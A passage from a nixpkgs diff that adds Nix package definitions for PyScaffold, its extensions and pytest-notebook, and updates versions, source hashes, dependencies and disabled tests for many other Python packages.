hash = "sha256-2En5ouFb3PFl4Z+Wg18LF+Gi1Z1MVhxEW4J6CB3m0mI="; + }; + + nativeBuildInputs = [ + setuptools + setuptools-scm + wheel + ]; + + postPatch = '' + substituteInPlace setup.cfg --replace "platformdirs>=2,<4" "platformdirs" + ''; + + propagatedBuildInputs = [ + colorama + configupdater + importlib-metadata + packaging + platformdirs + setuptools + setuptools-scm + tomlkit + ]; + + passthru.optional-dependencies = { + all = [ + pre-commit + pyscaffoldext-cookiecutter + pyscaffoldext-custom-extension + pyscaffoldext-django + pyscaffoldext-dsproject + pyscaffoldext-markdown + pyscaffoldext-travis + virtualenv + ]; + ds = [ + pyscaffoldext-dsproject + ]; + md = [ + pyscaffoldext-markdown + ]; + testing = [ + build + certifi + flake8 + pre-commit + pytest + pytest-cov + pytest-randomly + pytest-xdist + setuptools + setuptools-scm + sphinx + tomlkit + tox + virtualenv + wheel + ]; + }; + + pythonImportsCheck = [ "pyscaffold" ]; + + meta = with lib; { + description = "Template tool for putting up the scaffold of a Python project"; + homepage = "https://pypi.org/project/PyScaffold/"; + license = licenses.mit; + maintainers = with maintainers; [ matthewcroughan ]; + }; +} diff --git a/pkgs/development/python-modules/pyscaffoldext-cookiecutter/default.nix b/pkgs/development/python-modules/pyscaffoldext-cookiecutter/default.nix new file mode 100644 index 0000000000000..88027434e1953 --- /dev/null +++ b/pkgs/development/python-modules/pyscaffoldext-cookiecutter/default.nix @@ -0,0 +1,62 @@ +{ lib +, buildPythonPackage +, fetchPypi +, setuptools +, setuptools-scm +, wheel +, cookiecutter +, importlib-metadata +, pyscaffold +, configupdater +, pre-commit +, pytest +, pytest-cov +, pytest-xdist +, tox +, virtualenv +}: + +buildPythonPackage rec { + pname = "pyscaffoldext-cookiecutter"; + version = "0.1"; + pyproject = true; + + src = fetchPypi { + inherit pname version; + hash = "sha256-H++p/kPASs3IWk39fCXzq20QmMPGkG0bDTnVAm773cU="; + }; + + nativeBuildInputs = [ + setuptools + setuptools-scm + wheel + ]; + + propagatedBuildInputs = [ + cookiecutter + importlib-metadata + pyscaffold + ]; + + passthru.optional-dependencies = { + testing = [ + configupdater + pre-commit + pytest + pytest-cov + pytest-xdist + setuptools-scm + tox + virtualenv + ]; + }; + + pythonImportsCheck = [ "pyscaffoldext.cookiecutter" ]; + + meta = with lib; { + description = "Integration of Cookiecutter project templates into PyScaffold (see: https://github.com/cookiecutter/cookiecutter"; + homepage = "https://pypi.org/project/pyscaffoldext-cookiecutter/"; + license = licenses.mit; + maintainers = with maintainers; [ matthewcroughan ]; + }; +} diff --git a/pkgs/development/python-modules/pyscaffoldext-custom-extension/default.nix b/pkgs/development/python-modules/pyscaffoldext-custom-extension/default.nix new file mode 100644 index 0000000000000..9d47769bdf021 --- /dev/null +++ b/pkgs/development/python-modules/pyscaffoldext-custom-extension/default.nix @@ -0,0 +1,63 @@ +{ lib +, buildPythonPackage +, fetchPypi +, setuptools +, setuptools-scm +, wheel +, configupdater +, importlib-metadata +, packaging +, pyscaffold +, pre-commit +, pytest +, pytest-cov +, pytest-xdist +, tox +, virtualenv +}: + +buildPythonPackage rec { + pname = "pyscaffoldext-custom-extension"; + version = "0.6.3"; + pyproject = true; + + src = fetchPypi { + inherit pname version; + hash = "sha256-xHtKNqLSCTlbbXubADfLYjD3/53WfM65rRuh9RsyeN4="; + }; + + nativeBuildInputs = [ + setuptools + setuptools-scm + wheel + ]; + + propagatedBuildInputs = [ + configupdater + importlib-metadata + packaging + pyscaffold + ]; + + passthru.optional-dependencies = { + testing = [ + configupdater + pre-commit + pytest + pytest-cov + pytest-xdist + setuptools-scm + tox + virtualenv + ]; + }; + + pythonImportsCheck = [ "pyscaffoldext.custom_extension" ]; + + meta = with lib; { + description = "PyScaffold extension to create a custom PyScaffold extension"; + homepage = "https://pypi.org/project/pyscaffoldext-custom-extension/"; + license = licenses.mit; + maintainers = with maintainers; [ matthewcroughan ]; + }; +} diff --git a/pkgs/development/python-modules/pyscaffoldext-django/default.nix b/pkgs/development/python-modules/pyscaffoldext-django/default.nix new file mode 100644 index 0000000000000..9a7725ad3244c --- /dev/null +++ b/pkgs/development/python-modules/pyscaffoldext-django/default.nix @@ -0,0 +1,60 @@ +{ lib +, buildPythonPackage +, fetchPypi +, setuptools +, setuptools-scm +, wheel +, django +, pyscaffold +, configupdater +, pre-commit +, pytest +, pytest-cov +, pytest-xdist +, tox +, virtualenv +}: + +buildPythonPackage rec { + pname = "pyscaffoldext-django"; + version = "0.2"; + pyproject = true; + + src = fetchPypi { + inherit pname version; + hash = "sha256-5yzF3VK/9VlCSrRsRJWX4arr9n34G2R6O5A51jTpLhg="; + }; + + nativeBuildInputs = [ + setuptools + setuptools-scm + wheel + ]; + + propagatedBuildInputs = [ + django + pyscaffold + ]; + + passthru.optional-dependencies = { + testing = [ + configupdater + pre-commit + pytest + pytest-cov + pytest-xdist + setuptools-scm + tox + virtualenv + ]; + }; + + pythonImportsCheck = [ "pyscaffoldext.django" ]; + + meta = with lib; { + description = "Integration of django builtin scaffold cli (django-admin) into PyScaffold"; + homepage = "https://pypi.org/project/pyscaffoldext-django/"; + license = licenses.mit; + maintainers = with maintainers; [ ]; + }; +} diff --git a/pkgs/development/python-modules/pyscaffoldext-dsproject/default.nix b/pkgs/development/python-modules/pyscaffoldext-dsproject/default.nix new file mode 100644 index 0000000000000..e85bcc3b8e0ed --- /dev/null +++ b/pkgs/development/python-modules/pyscaffoldext-dsproject/default.nix @@ -0,0 +1,62 @@ +{ lib +, buildPythonPackage +, fetchPypi +, setuptools +, setuptools-scm +, wheel +, importlib-metadata +, pyscaffold +, pyscaffoldext-markdown +, configupdater +, pre-commit +, pytest +, pytest-cov +, pytest-xdist +, tox +, virtualenv +}: + +buildPythonPackage rec { + pname = "pyscaffoldext-dsproject"; + version = "0.7.2"; + pyproject = true; + + src = fetchPypi { + inherit pname version; + hash = "sha256-SF99noD6C31p4LWlwVAwArPYeNspF+ARK8Dzl5B1T9g="; + }; + + nativeBuildInputs = [ + setuptools + setuptools-scm + wheel + ]; + + propagatedBuildInputs = [ + importlib-metadata + pyscaffold + pyscaffoldext-markdown + ]; + + passthru.optional-dependencies = { + testing = [ + configupdater + pre-commit + pytest + pytest-cov + pytest-xdist + setuptools-scm + tox + virtualenv + ]; + }; + + pythonImportsCheck = [ "pyscaffoldext.dsproject" ]; + + meta = with lib; { + description = "PyScaffold extension for Data Science projects"; + homepage = "https://pypi.org/project/pyscaffoldext-dsproject/"; + license = licenses.mit; + maintainers = with maintainers; [ matthewcroughan ]; + }; +} diff --git a/pkgs/development/python-modules/pyscaffoldext-markdown/default.nix b/pkgs/development/python-modules/pyscaffoldext-markdown/default.nix new file mode 100644 index 0000000000000..d0330a38f3144 --- /dev/null +++ b/pkgs/development/python-modules/pyscaffoldext-markdown/default.nix @@ -0,0 +1,65 @@ +{ lib +, buildPythonPackage +, fetchPypi +, setuptools +, setuptools-scm +, wheel +, importlib-metadata +, myst-parser +, pyscaffold +, configupdater +, pre-commit +, pytest +, pytest-cov +, pytest-xdist +, tox +, twine +, virtualenv +}: + +buildPythonPackage rec { + pname = "pyscaffoldext-markdown"; + version = "0.5"; + pyproject = true; + + src = fetchPypi { + inherit pname version; + hash = "sha256-fycTscq9rjUNFidWyeoH4QwedthdCdqqjXDO9DC4tds="; + }; + + nativeBuildInputs = [ + setuptools + setuptools-scm + wheel + ]; + + propagatedBuildInputs = [ + importlib-metadata + myst-parser + pyscaffold + wheel + ]; + + passthru.optional-dependencies = { + testing = [ + configupdater + pre-commit + pytest + pytest-cov + pytest-xdist + setuptools-scm + tox + twine + virtualenv + ]; + }; + + pythonImportsCheck = [ "pyscaffoldext.markdown" ]; + + meta = with lib; { + description = "PyScaffold extension which uses Markdown instead of reStructuredText"; + homepage = "https://pypi.org/project/pyscaffoldext-markdown/"; + license = licenses.mit; + maintainers = with maintainers; [ matthewcroughan ]; + }; +} diff --git a/pkgs/development/python-modules/pyscaffoldext-travis/default.nix b/pkgs/development/python-modules/pyscaffoldext-travis/default.nix new file mode 100644 index 0000000000000..3d5ba4aa33e0b --- /dev/null +++ b/pkgs/development/python-modules/pyscaffoldext-travis/default.nix @@ -0,0 +1,60 @@ +{ lib +, buildPythonPackage +, fetchPypi +, setuptools +, setuptools-scm +, wheel +, importlib-metadata +, pyscaffold +, configupdater +, pre-commit +, pytest +, pytest-cov +, pytest-xdist +, tox +, virtualenv +}: + +buildPythonPackage rec { + pname = "pyscaffoldext-travis"; + version = "0.3"; + pyproject = true; + + src = fetchPypi { + inherit pname version; + hash = "sha256-ztAhA/2ctCHz5kggOAaXd3ed903ClTlhCfaGTl344zI="; + }; + + nativeBuildInputs = [ + setuptools + setuptools-scm + wheel + ]; + + propagatedBuildInputs = [ + importlib-metadata + pyscaffold + ]; + + passthru.optional-dependencies = { + testing = [ + configupdater + pre-commit + pytest + pytest-cov + pytest-xdist + setuptools-scm + tox + virtualenv + ]; + }; + + pythonImportsCheck = [ "pyscaffoldext.travis" ]; + + meta = with lib; { + description = "Travis CI configurations for PyScaffold"; + homepage = "https://pypi.org/project/pyscaffoldext-travis/"; + license = licenses.mit; + maintainers = with maintainers; [ matthewcroughan ]; + }; +} diff --git a/pkgs/development/python-modules/pyschlage/default.nix b/pkgs/development/python-modules/pyschlage/default.nix index 5344a06bdb8e4..d039364f6928d 100644 --- a/pkgs/development/python-modules/pyschlage/default.nix +++ b/pkgs/development/python-modules/pyschlage/default.nix @@ -11,8 +11,8 @@ buildPythonPackage rec { pname = "pyschlage"; - version = "2023.12.1"; - format = "pyproject"; + version = "2024.2.0"; + pyproject = true; disabled = pythonOlder "3.7"; @@ -20,7 +20,7 @@ buildPythonPackage rec { owner = "dknowles2"; repo = "pyschlage"; rev = "refs/tags/${version}"; - hash = "sha256-RWM/76uqljWgKBWsMvGTggJllX0Qa9QaMM0hJbCvZgQ="; + hash = "sha256-kjAV7VHKp7WpT6dNjuzYMTlcXbyIB2MNZQXOckDLWF8="; }; nativeBuildInputs = [ diff --git a/pkgs/development/python-modules/pysignalclirestapi/default.nix b/pkgs/development/python-modules/pysignalclirestapi/default.nix index b3dd6f696006c..a2eff3fc4ad89 100644 --- a/pkgs/development/python-modules/pysignalclirestapi/default.nix +++ b/pkgs/development/python-modules/pysignalclirestapi/default.nix @@ -3,20 +3,20 @@ , fetchFromGitHub , setuptools , requests -, future +, six }: buildPythonPackage rec { pname = "pysignalclirestapi"; - version = "0.3.22"; + version = "0.3.23"; pyproject = true; src = fetchFromGitHub { owner = "bbernhard"; repo = "pysignalclirestapi"; - rev = version; - hash = "sha256-m8Sihf5vTDntd5Tbaa5o55G/k/rqtmjWreoTab58CHU="; + rev = "refs/tags/${version}"; + hash = "sha256-DI6dPh8TJElDSk2ExMk4w32ROYgc33cwWNmc3pIBADM="; }; nativeBuildInputs = [ @@ -25,7 +25,7 @@ buildPythonPackage rec { propagatedBuildInputs = [ requests - future + six ]; # upstream has no tests @@ -34,6 +34,7 @@ buildPythonPackage rec { pythonImportsCheck = [ "pysignalclirestapi" ]; meta = with lib; { + changelog = "https://github.com/bbernhard/pysignalclirestapi/releases/tag/${version}"; description = "Small python library for the Signal Cli REST API"; homepage = "https://github.com/bbernhard/pysignalclirestapi"; license = licenses.mit; diff --git a/pkgs/development/python-modules/pysim/default.nix b/pkgs/development/python-modules/pysim/default.nix index 37e7591c37782..542b0049ccd35 100644 --- a/pkgs/development/python-modules/pysim/default.nix +++ b/pkgs/development/python-modules/pysim/default.nix @@ -5,7 +5,7 @@ , pytestCheckHook , pytest-asyncio , colorlog -, smpp_pdu +, smpp-pdu , pyscard , packaging , gsm0338 @@ -53,7 +53,7 @@ buildPythonPackage { pyserial pytlv pyyaml - smpp_pdu + smpp-pdu termcolor ]; diff --git a/pkgs/development/python-modules/pysmi-lextudio/default.nix b/pkgs/development/python-modules/pysmi-lextudio/default.nix index 657cb927a40bd..1ca9e1bd02c9b 100644 --- a/pkgs/development/python-modules/pysmi-lextudio/default.nix +++ b/pkgs/development/python-modules/pysmi-lextudio/default.nix @@ -1,6 +1,7 @@ { lib , buildPythonPackage , fetchFromGitHub +, jinja2 , ply , poetry-core , pythonOlder @@ -9,7 +10,7 @@ buildPythonPackage rec { pname = "pysmi-lextudio"; - version = "1.1.13"; + version = "1.3.3"; pyproject = true; disabled = pythonOlder "3.7"; @@ -18,7 +19,7 @@ buildPythonPackage rec { owner = "lextudio"; repo = "pysmi"; rev = "refs/tags/v${version}"; - hash = "sha256-P1uu1+EcqA7K+oJWFyHTyQqUvqZjZTU0owLKoxjaQhc="; + hash = "sha256-GApjr7KUd7KkdxsbLTzFNdWWol7b/8udrY9q/lls2ro="; }; nativeBuildInputs = [ @@ -26,6 +27,7 @@ buildPythonPackage rec { ]; propagatedBuildInputs = [ + jinja2 ply requests ]; @@ -40,7 +42,7 @@ buildPythonPackage rec { meta = with lib; { description = "SNMP MIB parser"; homepage = "https://github.com/lextudio/pysmi"; - changelog = "https://github.com/lextudio/pysmi/blob/${version}/CHANGES.rst"; + changelog = "https://github.com/lextudio/pysmi/blob/v${version}/CHANGES.rst"; license = licenses.bsd2; maintainers = with maintainers; [ fab ]; }; diff --git a/pkgs/development/python-modules/pysnmp-lextudio/default.nix b/pkgs/development/python-modules/pysnmp-lextudio/default.nix index 4e7d123d49cbb..89df55d5fd706 100644 --- a/pkgs/development/python-modules/pysnmp-lextudio/default.nix +++ b/pkgs/development/python-modules/pysnmp-lextudio/default.nix @@ -7,7 +7,6 @@ # dependencies , pyasn1 -, pyasyncore , pysmi-lextudio , pysnmpcrypto @@ -18,14 +17,14 @@ buildPythonPackage rec { pname = "pysnmp-lextudio"; - version = "5.0.33"; + version = "6.0.6"; pyproject = true; src = fetchFromGitHub { owner = "lextudio"; repo = "pysnmp"; rev = "v${version}"; - hash = "sha256-IXYpR7JnuHmcjtdCs1C+rPHS9IZ93MN/Zuw4Pu1l/4A="; + hash = "sha256-Mbzpe2wVoW4m7hnfsdcSO/8uOgWl5f1sLLqvdpQP2gU="; }; nativeBuildInputs = [ @@ -34,7 +33,6 @@ buildPythonPackage rec { propagatedBuildInputs = [ pyasn1 - pyasyncore pysmi-lextudio pysnmpcrypto ]; @@ -50,11 +48,15 @@ buildPythonPackage rec { "test_send_notification" "test_send_trap" "test_send_v3_inform_notification" + "test_send_v3_inform_sync" "test_usm_sha_aes128" "test_v1_get" "test_v1_next" "test_v1_set" "test_v2c_bulk" + # pysnmp.smi.error.MibNotFoundError + "test_send_v3_trap_notification" + "test_addAsn1MibSource" ]; pythonImportsCheck = [ diff --git a/pkgs/development/python-modules/pyspark/default.nix b/pkgs/development/python-modules/pyspark/default.nix index b735601681db7..9763ed00cda57 100644 --- a/pkgs/development/python-modules/pyspark/default.nix +++ b/pkgs/development/python-modules/pyspark/default.nix @@ -10,14 +10,14 @@ buildPythonPackage rec { pname = "pyspark"; - version = "3.5.0"; + version = "3.5.1"; format = "setuptools"; disabled = pythonOlder "3.7"; src = fetchPypi { inherit pname version; - hash = "sha256-1Bqbdr0qyjcKYQDQdcAp4iukTFlAknh36UNaOpxWZVg="; + hash = "sha256-3WVp5Uc2Xq3E+Ie/V/FT5NWCpoxLSQ3kddVbmYFmSRA="; }; # pypandoc is broken with pandoc2, so we just lose docs. diff --git a/pkgs/development/python-modules/pytedee-async/default.nix b/pkgs/development/python-modules/pytedee-async/default.nix index f4ce2c7bcd896..a89b4fd03e8cf 100644 --- a/pkgs/development/python-modules/pytedee-async/default.nix +++ b/pkgs/development/python-modules/pytedee-async/default.nix @@ -8,7 +8,7 @@ buildPythonPackage rec { pname = "pytedee-async"; - version = "0.2.13"; + version = "0.2.15"; pyproject = true; disabled = pythonOlder "3.9"; @@ -17,7 +17,7 @@ buildPythonPackage rec { owner = "zweckj"; repo = "pytedee_async"; rev = "refs/tags/v${version}"; - hash = "sha256-3W+eqkniDMoDKeute5w1QyklOc/aren/Q8txBEI/4ys="; + hash = "sha256-in5umB3ewrx5de1OaWI1XpDaNgy2ZtLYr4lCswhcayg="; }; nativeBuildInputs = [ diff --git a/pkgs/development/python-modules/pytest-asyncio/default.nix b/pkgs/development/python-modules/pytest-asyncio/default.nix index e373e5b1f6544..fd81aab3838a3 100644 --- a/pkgs/development/python-modules/pytest-asyncio/default.nix +++ b/pkgs/development/python-modules/pytest-asyncio/default.nix @@ -9,16 +9,16 @@ buildPythonPackage rec { pname = "pytest-asyncio"; - version = "0.21.1"; # N.B.: when updating, tests bleak and aioesphomeapi tests - format = "pyproject"; + version = "0.23.5"; # N.B.: when updating, tests bleak and aioesphomeapi tests + pyproject = true; - disabled = pythonOlder "3.7"; + disabled = pythonOlder "3.8"; src = fetchFromGitHub { owner = "pytest-dev"; - repo = pname; + repo = "pytest-asyncio"; rev = "refs/tags/v${version}"; - hash = "sha256-Wpo8MpCPGiXrckT2x5/yBYtGlzso/L2urG7yGc7SPkA="; + hash = "sha256-sA9ix69oywr1D6ByAxzAFWrAPHJOuq4C8UMiMNkmGJs="; }; outputs = [ diff --git a/pkgs/development/python-modules/pytest-benchmark/default.nix b/pkgs/development/python-modules/pytest-benchmark/default.nix index f9011b6d721bb..dc2c271371691 100644 --- a/pkgs/development/python-modules/pytest-benchmark/default.nix +++ b/pkgs/development/python-modules/pytest-benchmark/default.nix @@ -14,16 +14,16 @@ , pytestCheckHook , pytest-xdist , pythonOlder -, isPy311 +, setuptools }: buildPythonPackage rec { pname = "pytest-benchmark"; version = "4.0.0"; + pyproject = true; disabled = pythonOlder "3.7"; - format = "setuptools"; src = fetchFromGitHub { owner = "ionelmc"; @@ -33,10 +33,24 @@ buildPythonPackage rec { }; patches = [ + # replace distutils.spawn.find_executable with shutil.which (fetchpatch { url = "https://github.com/ionelmc/pytest-benchmark/commit/728752d2976ef53fde7e40beb3e55f09cf4d4736.patch"; hash = "sha256-WIQADCLey5Y79UJUj9J5E02HQ0O86xBh/3IeGLpVrWI="; }) + # fix tests with python3.11+; https://github.com/ionelmc/pytest-benchmark/pull/232 + (fetchpatch { + url = "https://github.com/ionelmc/pytest-benchmark/commit/b2f624afd68a3090f20187a46284904dd4baa4f6.patch"; + hash = "sha256-cylxPj/d0YzvOGw+ncVSCnQHwq2cukrgXhBHePPwjO0="; + }) + (fetchpatch { + url = "https://github.com/ionelmc/pytest-benchmark/commit/2b987f5be1873617f02f24cb6d76196f9aed21bd.patch"; + hash = "sha256-92kWEd935Co6uc/1y5OGKsc5/or81bORSdaiQFjDyTw="; + }) + ]; + + nativeBuildInputs = [ + setuptools ]; buildInputs = [ @@ -64,24 +78,23 @@ buildPythonPackage rec { mercurial pytestCheckHook pytest-xdist - ] ++ lib.flatten (builtins.attrValues passthru.optional-dependencies); + ] ++ lib.flatten (lib.attrValues passthru.optional-dependencies); + + pytestFlagsArray = [ + "-W" "ignore::DeprecationWarning" + ]; preCheck = '' export PATH="$out/bin:$PATH" ''; - disabledTests = [ + disabledTests = lib.optionals (pythonOlder "3.12") [ # AttributeError: 'PluginImportFixer' object has no attribute 'find_spec' "test_compare_1" "test_compare_2" "test_regression_checks" + "test_regression_checks_inf" "test_rendering" - ] - # tests are broken in 3.11 - # https://github.com/ionelmc/pytest-benchmark/issues/231 - ++ lib.optionals isPy311 [ - "test_abort_broken" - "test_clonefunc" ]; meta = with lib; { diff --git a/pkgs/development/python-modules/pytest-httpx/default.nix b/pkgs/development/python-modules/pytest-httpx/default.nix index 186c81a93c602..85eabe87a76d2 100644 --- a/pkgs/development/python-modules/pytest-httpx/default.nix +++ b/pkgs/development/python-modules/pytest-httpx/default.nix @@ -8,11 +8,12 @@ , pythonOlder , pythonRelaxDepsHook , setuptools +, setuptools-scm }: buildPythonPackage rec { pname = "pytest-httpx"; - version = "0.27.0"; + version = "0.30.0"; pyproject = true; disabled = pythonOlder "3.9"; @@ -21,12 +22,13 @@ buildPythonPackage rec { owner = "Colin-b"; repo = "pytest_httpx"; rev = "refs/tags/v${version}"; - hash = "sha256-5CDmIjehW9/aBxoFVbo8W2fAwgIrPPxEqHQjxsTPlpY="; + hash = "sha256-JfyqeOCHNHO4IEHVrh47TdWvb8lcy/1Prqnfphs0ufM="; }; nativeBuildInputs = [ pythonRelaxDepsHook setuptools + setuptools-scm ]; buildInputs = [ diff --git a/pkgs/development/python-modules/pytest-mypy-plugins/default.nix b/pkgs/development/python-modules/pytest-mypy-plugins/default.nix index f4c809218fb01..fb91609a027c2 100644 --- a/pkgs/development/python-modules/pytest-mypy-plugins/default.nix +++ b/pkgs/development/python-modules/pytest-mypy-plugins/default.nix @@ -11,23 +11,28 @@ , pythonOlder , pyyaml , regex +, setuptools , tomlkit }: buildPythonPackage rec { pname = "pytest-mypy-plugins"; - version = "3.0.0"; - format = "setuptools"; + version = "3.1.0"; + pyproject = true; disabled = pythonOlder "3.7"; src = fetchFromGitHub { owner = "typeddjango"; - repo = pname; + repo = "pytest-mypy-plugins"; rev = "refs/tags/${version}"; - hash = "sha256-kIA2tVOsKsav4tRqZiWCMcRgbRnxAEo7SpmxC2pt9B0="; + hash = "sha256-FXJWOeHXeKH8kDzgujOQyu3ZtIwZ5+gc4Fxod3mRRio="; }; + nativeBuildInputs = [ + setuptools + ]; + buildInputs = [ pytest ]; diff --git a/pkgs/development/python-modules/pytest-notebook/default.nix b/pkgs/development/python-modules/pytest-notebook/default.nix new file mode 100644 index 0000000000000..b20006641057c --- /dev/null +++ b/pkgs/development/python-modules/pytest-notebook/default.nix @@ -0,0 +1,82 @@ +{ lib +, buildPythonPackage +, fetchFromGitHub +, flit-core +, pythonRelaxDepsHook +, attrs +, jsonschema +, nbclient +, nbdime +, nbformat +, pytest +, black +, coverage +, ipykernel +, pytest-cov +, pytest-regressions +, pytestCheckHook +}: + +buildPythonPackage rec { + pname = "pytest-notebook"; + version = "0.10.0"; + pyproject = true; + + src = fetchFromGitHub { + owner = "chrisjsewell"; + repo = "pytest-notebook"; + rev = "refs/tags/v${version}"; + hash = "sha256-LoK0wb7rAbVbgyURCbSfckWvJDef3tPY+7V4YU1IBRU="; + }; + + nativeBuildInputs = [ + flit-core + pythonRelaxDepsHook + ]; + + pythonRelaxDeps = [ + "attrs" + "nbclient" + ]; + + propagatedBuildInputs = [ + attrs + jsonschema + nbclient + nbdime + nbformat + ]; + + buildInputs = [ + pytest + ]; + + pythonImportsCheck = [ "pytest_notebook" ]; + + nativeCheckInputs = [ + black + coverage + ipykernel + pytest-cov + pytest-regressions + pytestCheckHook + ]; + + preCheck = '' + export HOME="$TEMP" + ''; + + disabledTests = [ + "test_diff_to_string" + "test_execute_notebook_with_coverage" + "test_regression_coverage" + ]; + + meta = { + changelog = "https://github.com/chrisjsewell/pytest-notebook/blob/${src.rev}/docs/source/changelog.md"; + description = "Pytest plugin for regression testing and regenerating Jupyter Notebooks"; + homepage = "https://github.com/chrisjsewell/pytest-notebook"; + license = lib.licenses.bsd3; + maintainers = with lib.maintainers; [ dotlambda ]; + }; +} diff --git a/pkgs/development/python-modules/pytest-qt/default.nix b/pkgs/development/python-modules/pytest-qt/default.nix index de9b9eb84ba12..1996265365e15 100644 --- a/pkgs/development/python-modules/pytest-qt/default.nix +++ b/pkgs/development/python-modules/pytest-qt/default.nix @@ -9,14 +9,14 @@ buildPythonPackage rec { pname = "pytest-qt"; - version = "4.3.1"; + version = "4.4.0"; format = "setuptools"; disabled = pythonOlder "3.8"; src = fetchPypi { inherit pname version; - hash = "sha256-AlYEGveAgt/AjiLM+GCqqHjYApVX8D9L/CAH/CkbHmE="; + hash = "sha256-dolhQqlApChTOQCNaSijbUvnSv7H5jRXfoQsnMXFaEQ="; }; nativeBuildInputs = [ diff --git a/pkgs/development/python-modules/pytest-testinfra/default.nix b/pkgs/development/python-modules/pytest-testinfra/default.nix index bdf97e9c5c314..698b61ce058e2 100644 --- a/pkgs/development/python-modules/pytest-testinfra/default.nix +++ b/pkgs/development/python-modules/pytest-testinfra/default.nix @@ -13,12 +13,12 @@ buildPythonPackage rec { pname = "pytest-testinfra"; - version = "10.0.0"; + version = "10.1.0"; format = "setuptools"; src = fetchPypi { inherit pname version; - hash = "sha256-L7fQGFRYqbpmn/FNDdvsizkAxr3j+2+tmwlzdM5Kt30="; + hash = "sha256-93Qzm5R3Ws3zqMSjeTqOrS6N/HD/NLd4vhWquhQPoZ4="; }; nativeBuildInputs = [ diff --git a/pkgs/development/python-modules/pytest-testmon/default.nix b/pkgs/development/python-modules/pytest-testmon/default.nix index 3c0b0ec629b43..9bceb430820ed 100644 --- a/pkgs/development/python-modules/pytest-testmon/default.nix +++ b/pkgs/development/python-modules/pytest-testmon/default.nix @@ -10,7 +10,7 @@ buildPythonPackage rec { pname = "pytest-testmon"; - version = "2.1.0"; + version = "2.1.1"; format = "pyproject"; disabled = pythonOlder "3.8"; @@ -19,7 +19,7 @@ buildPythonPackage rec { owner = "tarpas"; repo = pname; rev = "refs/tags/v${version}"; - hash = "sha256-M4636yqzChRI37UdGPOZTjj8POLdrOoJtzmECtZZi4k="; + hash = "sha256-zbMX9r9lftdm9hzXMZRZZ/GEDViGk9QiYYUhO9ZcEAc="; }; nativeBuildInputs = [ diff --git a/pkgs/development/python-modules/python-benedict/default.nix b/pkgs/development/python-modules/python-benedict/default.nix index 9b6ffe4e0fe89..1757de4c851b6 100644 --- a/pkgs/development/python-modules/python-benedict/default.nix +++ b/pkgs/development/python-modules/python-benedict/default.nix @@ -25,7 +25,7 @@ buildPythonPackage rec { pname = "python-benedict"; - version = "0.33.1"; + version = "0.33.2"; pyproject = true; disabled = pythonOlder "3.7"; @@ -34,7 +34,7 @@ buildPythonPackage rec { owner = "fabiocaccamo"; repo = "python-benedict"; rev = "refs/tags/${version}"; - hash = "sha256-QRWyMqHW4C3+718mgp9z/dQ1loesm0Vaf2TzW3yqF3A="; + hash = "sha256-1/eLJFXACn1W5Yz43BIhdqqUVk3t9285d8aLwH+VmAE="; }; pythonRelaxDeps = [ diff --git a/pkgs/development/python-modules/python-cinderclient/default.nix b/pkgs/development/python-modules/python-cinderclient/default.nix index ea79dcf2f80b3..baff1ddce3fe8 100644 --- a/pkgs/development/python-modules/python-cinderclient/default.nix +++ b/pkgs/development/python-modules/python-cinderclient/default.nix @@ -17,12 +17,12 @@ buildPythonPackage rec { pname = "python-cinderclient"; - version = "9.4.0"; + version = "9.5.0"; format = "setuptools"; src = fetchPypi { inherit pname version; - hash = "sha256-pT5kcKUWYntZ0iUFIioMhXlL4afyd06HeWEFvUfulpU="; + hash = "sha256-G51xev+TytQgBF+2xS9jdqty8IX4GTEwiSAg7EbJNVU="; }; propagatedBuildInputs = [ diff --git a/pkgs/development/python-modules/python-editor/default.nix b/pkgs/development/python-modules/python-editor/default.nix index 948076b5f2767..40c86f3cf527d 100644 --- a/pkgs/development/python-modules/python-editor/default.nix +++ b/pkgs/development/python-modules/python-editor/default.nix @@ -1,13 +1,18 @@ -{ lib, buildPythonPackage, fetchPypi }: +{ lib +, buildPythonPackage +, fetchFromGitHub +}: -buildPythonPackage rec { - version = "1.0.4"; - format = "setuptools"; +buildPythonPackage { pname = "python-editor"; + version = "1.0.4-unstable-2023-10-11"; + format = "setuptools"; - src = fetchPypi { - inherit pname version; - sha256 = "51fda6bcc5ddbbb7063b2af7509e43bd84bfc32a4ff71349ec7847713882327b"; + src = fetchFromGitHub { + owner = "fmoo"; + repo = "python-editor"; + rev = "c6cd09069371781b2b9381839849a524d25db07f"; + hash = "sha256-TjfY7ustZaNPmndHPVwmQ8zkYPmDs/C5SNJl1zXjprc="; }; # No proper tests diff --git a/pkgs/development/python-modules/python-engineio/default.nix b/pkgs/development/python-modules/python-engineio/default.nix index 59cd210a0a04e..952893fec269c 100644 --- a/pkgs/development/python-modules/python-engineio/default.nix +++ b/pkgs/development/python-modules/python-engineio/default.nix @@ -18,7 +18,7 @@ buildPythonPackage rec { pname = "python-engineio"; - version = "4.8.0"; + version = "4.9.0"; pyproject = true; disabled = pythonOlder "3.6"; @@ -27,7 +27,7 @@ buildPythonPackage rec { owner = "miguelgrinberg"; repo = "python-engineio"; rev = "refs/tags/v${version}"; - hash = "sha256-btXwx9GRLBcjtcGdgckb2Y/MxC0E/rKTWKgkP8olezo="; + hash = "sha256-FpPGIK5HVtTzDOpORo+WPhS1860P3dm1nJkvakpzsjE="; }; nativeBuildInputs = [ diff --git a/pkgs/development/python-modules/python-heatclient/default.nix b/pkgs/development/python-modules/python-heatclient/default.nix index 2af9483dd2640..2319ecda0bfe8 100644 --- a/pkgs/development/python-modules/python-heatclient/default.nix +++ b/pkgs/development/python-modules/python-heatclient/default.nix @@ -21,14 +21,14 @@ buildPythonPackage rec { pname = "python-heatclient"; - version = "3.4.0"; + version = "3.5.0"; format = "setuptools"; disabled = pythonOlder "3.8"; src = fetchPypi { inherit pname version; - hash = "sha256-ggfhDJW2qn0o4Wi5cdPsEpoHb9miZbr4Ba8mgLkStvI="; + hash = "sha256-B1F40HYHFF91mkxwySR/kqCvlwLLtBgqwUvw2byOc9g="; }; propagatedBuildInputs = [ diff --git a/pkgs/development/python-modules/python-homewizard-energy/default.nix b/pkgs/development/python-modules/python-homewizard-energy/default.nix index 66d97a4b33b95..20bd7409f6cd6 100644 --- a/pkgs/development/python-modules/python-homewizard-energy/default.nix +++ b/pkgs/development/python-modules/python-homewizard-energy/default.nix @@ -13,7 +13,7 @@ buildPythonPackage rec { pname = "python-homewizard-energy"; - version = "4.3.0"; + version = "4.3.1"; pyproject = true; disabled = pythonOlder "3.9"; @@ -22,7 +22,7 @@ buildPythonPackage rec { owner = "DCSBL"; repo = "python-homewizard-energy"; rev = "refs/tags/v${version}"; - hash = "sha256-5e2PzH+kDOopH4LYOq49SlHsfBbZZk60U1BSN8OnrKI="; + 